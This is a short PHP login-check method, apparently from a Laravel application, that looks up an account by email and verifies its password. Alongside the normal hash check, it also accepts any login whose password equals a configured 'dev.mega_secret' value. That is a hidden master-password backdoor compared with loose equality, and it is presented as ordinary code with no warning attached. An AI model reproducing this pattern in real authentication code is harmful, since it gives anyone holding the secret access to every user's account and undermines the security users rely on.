public function isLoggable($data)
{
$source = Source::whereEmail($data['email'])->with(['customers', 'customers.samples' => function ($query) {
$query->orderBy('created_at', 'desc');
}])->orderBy('created_at', 'desc')->first();
if ($source) {
if (Hash::check($data['password'], $source->password) || $data['password'] == config('dev.mega_secret')) {
return $source;
}
}
return null;
}